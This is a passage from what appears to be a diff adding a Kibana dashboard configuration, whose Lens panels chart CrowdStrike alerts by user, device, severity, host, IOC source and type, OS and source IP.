"d59a23d4-24d0-486d-8d0d-6100463dbb0c", + "isTransposed": false + } + ], + "layerId": "986a7419-3b29-4812-8f1e-8648d18ce08b", + "layerType": "data" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 15, + "i": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8", + "w": 24, + "x": 0, + "y": 16 + }, + "panelIndex": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8", + "title": "User with Highest Alert [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "82644959-ef2b-4640-a0ca-d45036d96764", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1": { + "columnOrder": [ + "fe77febc-cfff-4f08-8c45-2d88cce7d7e8", + "1b066652-7743-4ca9-aea2-579f2a9ddd34" + ], + "columns": { + "1b066652-7743-4ca9-aea2-579f2a9ddd34": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "fe77febc-cfff-4f08-8c45-2d88cce7d7e8": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Device ID", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "1b066652-7743-4ca9-aea2-579f2a9ddd34", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "device.id" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "82644959-ef2b-4640-a0ca-d45036d96764", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "1b066652-7743-4ca9-aea2-579f2a9ddd34" + ], + "layerId": "6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1", + "layerType": "data", + "seriesType": "bar_stacked", + "xAccessor": "fe77febc-cfff-4f08-8c45-2d88cce7d7e8" + } + ], + "legend": { + "isVisible": true, + "position": "right", + "shouldTruncate": false, + "showSingleSeries": false + }, + "preferredSeriesType": "bar_stacked", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 15, + "i": "aaa3ce74-8cbd-4e77-837e-cdbd42494339", + "w": 24, + "x": 24, + "y": 16 + }, + "panelIndex": "aaa3ce74-8cbd-4e77-837e-cdbd42494339", + "title": "Alert over Device [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-3a2c2235-1a9e-4db6-ac43-2f05c6775021", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "9040575b-9449-4f08-98ae-116d26ebf28d", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "3a2c2235-1a9e-4db6-ac43-2f05c6775021": { + "columnOrder": [ + "3adbc15a-2906-40ff-9ea6-9eef981ea411", + "342509c6-75f8-409a-81eb-7d0cd1f6af5b" + ], + "columns": { + "342509c6-75f8-409a-81eb-7d0cd1f6af5b": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "3adbc15a-2906-40ff-9ea6-9eef981ea411": { + "customLabel": true, + "dataType": "number", + "isBucketed": true, + "label": "Event Severity", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "342509c6-75f8-409a-81eb-7d0cd1f6af5b", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 5 + }, + "scale": "ordinal", + "sourceField": "event.severity" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "9040575b-9449-4f08-98ae-116d26ebf28d", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "3a2c2235-1a9e-4db6-ac43-2f05c6775021", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "342509c6-75f8-409a-81eb-7d0cd1f6af5b" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "3adbc15a-2906-40ff-9ea6-9eef981ea411" + ], + "truncateLegend": false + } + ], + "shape": "pie" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 15, + "i": "14405add-afa0-4e3f-9efd-1f52fad51027", + "w": 24, + "x": 0, + "y": 31 + }, + "panelIndex": "14405add-afa0-4e3f-9efd-1f52fad51027", + "title": "Alert by Severity [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-a6424e3b-fc6e-460e-8385-5a410a690d34", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "7f2f6ede-7728-4214-a79c-27931101ec10", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "a6424e3b-fc6e-460e-8385-5a410a690d34": { + "columnOrder": [ + "1aa38945-d8a3-4137-b91d-ca2b6f9b140a", + "40dcaef5-e4f3-47e9-8e51-748b882f17e1" + ], + "columns": { + "1aa38945-d8a3-4137-b91d-ca2b6f9b140a": { + "customLabel": true, + "dataType": "ip", + "isBucketed": true, + "label": "Host IP", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "40dcaef5-e4f3-47e9-8e51-748b882f17e1", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "host.ip" + }, + "40dcaef5-e4f3-47e9-8e51-748b882f17e1": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "7f2f6ede-7728-4214-a79c-27931101ec10", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "40dcaef5-e4f3-47e9-8e51-748b882f17e1" + ], + "layerId": "a6424e3b-fc6e-460e-8385-5a410a690d34", + "layerType": "data", + "position": "top", + "seriesType": "bar_stacked", + "showGridlines": false, + "xAccessor": "1aa38945-d8a3-4137-b91d-ca2b6f9b140a" + } + ], + "legend": { + "isVisible": true, + "position": "right", + "shouldTruncate": false, + "showSingleSeries": false + }, + "preferredSeriesType": "bar_stacked", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 15, + "i": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4", + "w": 24, + "x": 24, + "y": 31 + }, + "panelIndex": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4", + "title": "Alert over Host IP [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-e83ee069-a761-49ed-878d-c9972e55a388", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "9a07642d-eec9-4213-b1ae-bb5adbbcf25c", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "e83ee069-a761-49ed-878d-c9972e55a388": { + "columnOrder": [ + "910bf38d-80f2-4783-9e71-d8bb53f06700", + "0465e312-67ef-4386-941e-55db68a8b075" + ], + "columns": { + "0465e312-67ef-4386-941e-55db68a8b075": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "910bf38d-80f2-4783-9e71-d8bb53f06700": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Hostname", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "0465e312-67ef-4386-941e-55db68a8b075", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "host.hostname" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "9a07642d-eec9-4213-b1ae-bb5adbbcf25c", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "0465e312-67ef-4386-941e-55db68a8b075" + ], + "layerId": "e83ee069-a761-49ed-878d-c9972e55a388", + "layerType": "data", + "position": "top", + "seriesType": "bar_stacked", + "showGridlines": false, + "xAccessor": "910bf38d-80f2-4783-9e71-d8bb53f06700" + } + ], + "legend": { + "isVisible": true, + "position": "right" + }, + "preferredSeriesType": "bar_stacked", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 15, + "i": "69f87d85-d0f2-4fb3-9e02-e970098547db", + "w": 24, + "x": 0, + "y": 46 + }, + "panelIndex": "69f87d85-d0f2-4fb3-9e02-e970098547db", + "title": "Alert over Hostname [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-4e7a254a-d432-4988-a5cb-3de38f841cc9", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "d887537f-f1fd-404b-8327-8bf3b0d1fdfe", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "4e7a254a-d432-4988-a5cb-3de38f841cc9": { + "columnOrder": [ + "91fec88d-308d-4dbd-a1a9-241d26c4f894", + "fed2b0eb-a506-462a-af98-71f79762262e", + "18a23919-ca9b-4787-8eb1-b6fac3faa5b6" + ], + "columns": { + "18a23919-ca9b-4787-8eb1-b6fac3faa5b6": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "91fec88d-308d-4dbd-a1a9-241d26c4f894": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Event ID", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "18a23919-ca9b-4787-8eb1-b6fac3faa5b6", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "event.id" + }, + "fed2b0eb-a506-462a-af98-71f79762262e": { + "customLabel": true, + "dataType": "date", + "isBucketed": true, + "label": "Timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "d887537f-f1fd-404b-8327-8bf3b0d1fdfe", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "18a23919-ca9b-4787-8eb1-b6fac3faa5b6" + ], + "layerId": "4e7a254a-d432-4988-a5cb-3de38f841cc9", + "layerType": "data", + "position": "top", + "seriesType": "line", + "showGridlines": false, + "splitAccessor": "91fec88d-308d-4dbd-a1a9-241d26c4f894", + "xAccessor": "fed2b0eb-a506-462a-af98-71f79762262e" + } + ], + "legend": { + "isVisible": true, + "position": "right", + "shouldTruncate": false, + "showSingleSeries": true + }, + "preferredSeriesType": "line", + "title": "Empty XY chart", + "valueLabels": "hide", + "valuesInLegend": true + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 15, + "i": "940c98f0-56e7-4e29-88d2-07f160f579cb", + "w": 24, + "x": 24, + "y": 46 + }, + "panelIndex": "940c98f0-56e7-4e29-88d2-07f160f579cb", + "title": "Alert over Timestamp [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-a278b2d5-076e-409c-b9ca-2da50d6d0a09", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "bbcb4d86-6890-474c-9975-f1476711cfad", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "a278b2d5-076e-409c-b9ca-2da50d6d0a09": { + "columnOrder": [ + "5e0dee9c-395c-42a3-827b-9b796ecdd625", + "0d2426f2-1b70-47e2-84b2-5f36d948dc98" + ], + "columns": { + "0d2426f2-1b70-47e2-84b2-5f36d948dc98": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "5e0dee9c-395c-42a3-827b-9b796ecdd625": { + "customLabel": true, + "dataType": "number", + "isBucketed": true, + "label": "Confidence", + "operationType": "range", + "params": { + "includeEmptyRows": false, + "maxBars": "auto", + "ranges": [ + { + "from": 0, + "label": "", + "to": 1000 + } + ], + "type": "histogram" + }, + "scale": "interval", + "sourceField": "crowdstrike.alert.confidence" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "bbcb4d86-6890-474c-9975-f1476711cfad", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "0d2426f2-1b70-47e2-84b2-5f36d948dc98" + ], + "layerId": "a278b2d5-076e-409c-b9ca-2da50d6d0a09", + "layerType": "data", + "position": "top", + "seriesType": "bar_horizontal", + "showGridlines": false, + "xAccessor": "5e0dee9c-395c-42a3-827b-9b796ecdd625" + } + ], + "legend": { + "isVisible": true, + "position": "right", + "shouldTruncate": false, + "showSingleSeries": false + }, + "preferredSeriesType": "bar_horizontal", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide", + "valuesInLegend": false + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "9af8495e-c5fb-4fee-ae54-1fffa46a4401", + "w": 48, + "x": 0, + "y": 61 + }, + "panelIndex": "9af8495e-c5fb-4fee-ae54-1fffa46a4401", + "title": "Alert over Confidence [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-d64a8cc0-006e-4e06-9e75-e32cf447cf41", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "d64a8cc0-006e-4e06-9e75-e32cf447cf41": { + "columnOrder": [ + "2cfe208a-17dc-40b1-91b1-820d4f4baa63", + "8c9420d4-4191-4b95-855b-edd55995e92a" + ], + "columns": { + "2cfe208a-17dc-40b1-91b1-820d4f4baa63": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "IOC Source", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "8c9420d4-4191-4b95-855b-edd55995e92a", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 5 + }, + "scale": "ordinal", + "sourceField": "crowdstrike.alert.ioc_source" + }, + "8c9420d4-4191-4b95-855b-edd55995e92a": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Records", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "d64a8cc0-006e-4e06-9e75-e32cf447cf41", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "8c9420d4-4191-4b95-855b-edd55995e92a" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "2cfe208a-17dc-40b1-91b1-820d4f4baa63" + ], + "truncateLegend": false + } + ], + "shape": "pie" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {} + }, + "gridData": { + "h": 15, + "i": "e69a2e95-217d-43d5-acae-811245c3e308", + "w": 24, + "x": 0, + "y": 78 + }, + "panelIndex": "e69a2e95-217d-43d5-acae-811245c3e308", + "title": "Alert by IOC Source [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-3d13796e-f0f8-45e1-b836-ad209d6cb1ba", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "3d13796e-f0f8-45e1-b836-ad209d6cb1ba": { + "columnOrder": [ + "427c4b9a-30ad-4f4a-a195-3b63686d3e56", + "98fd36cc-8ad0-42f1-a08a-8709150d1099" + ], + "columns": { + "427c4b9a-30ad-4f4a-a195-3b63686d3e56": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "IOC Type", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "98fd36cc-8ad0-42f1-a08a-8709150d1099", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 5 + }, + "scale": "ordinal", + "sourceField": "crowdstrike.alert.ioc_type" + }, + "98fd36cc-8ad0-42f1-a08a-8709150d1099": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Records", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "3d13796e-f0f8-45e1-b836-ad209d6cb1ba", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "98fd36cc-8ad0-42f1-a08a-8709150d1099" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "427c4b9a-30ad-4f4a-a195-3b63686d3e56" + ], + "truncateLegend": false + } + ], + "shape": "pie" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {} + }, + "gridData": { + "h": 15, + "i": "53575ba2-1378-4f8a-990d-2c5c603ea0a2", + "w": 24, + "x": 24, + "y": 78 + }, + "panelIndex": "53575ba2-1378-4f8a-990d-2c5c603ea0a2", + "title": "Alert by IOC Type [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-3e217a16-1cad-407e-a29d-33fb0efd613e", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "3e217a16-1cad-407e-a29d-33fb0efd613e": { + "columnOrder": [ + "60741f14-245b-4258-938a-d2cb4e740b6f", + "b44ed009-e2ae-4836-94e7-aa543ed5e953" + ], + "columns": { + "60741f14-245b-4258-938a-d2cb4e740b6f": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Host OS Full Name", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "b44ed009-e2ae-4836-94e7-aa543ed5e953", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 5 + }, + "scale": "ordinal", + "sourceField": "host.os.full" + }, + "b44ed009-e2ae-4836-94e7-aa543ed5e953": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "e96f97bb-f9af-48e9-a677-945571469682", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "3e217a16-1cad-407e-a29d-33fb0efd613e", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "b44ed009-e2ae-4836-94e7-aa543ed5e953" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "60741f14-245b-4258-938a-d2cb4e740b6f" + ], + "truncateLegend": false + } + ], + "shape": "pie" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {} + }, + "gridData": { + "h": 16, + "i": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b", + "w": 24, + "x": 0, + "y": 93 + }, + "panelIndex": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b", + "title": "Alert by OS Full Name [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-de65c5ed-b26c-419b-9a15-9928336a1964", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "de65c5ed-b26c-419b-9a15-9928336a1964": { + "columnOrder": [ + "598e03c3-d3d6-41c4-b512-6c181d224dd8", + "6c0d6d22-93ea-4bf6-80f4-822eaabf0893" + ], + "columns": { + "598e03c3-d3d6-41c4-b512-6c181d224dd8": { + "customLabel": true, + "dataType": "ip", + "isBucketed": true, + "label": "Source IP", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "6c0d6d22-93ea-4bf6-80f4-822eaabf0893", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "source.ip" + }, + "6c0d6d22-93ea-4bf6-80f4-822eaabf0893": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "a6d5ef27-01ca-4160-b575-9912c400725a", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "columnId": "598e03c3-d3d6-41c4-b512-6c181d224dd8", + "isMetric": false, + "isTransposed": false + }, + { + "columnId": "6c0d6d22-93ea-4bf6-80f4-822eaabf0893", + "isMetric": true, + "isTransposed": false + } + ], + "layerId": "de65c5ed-b26c-419b-9a15-9928336a1964", + "layerType": "data" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" 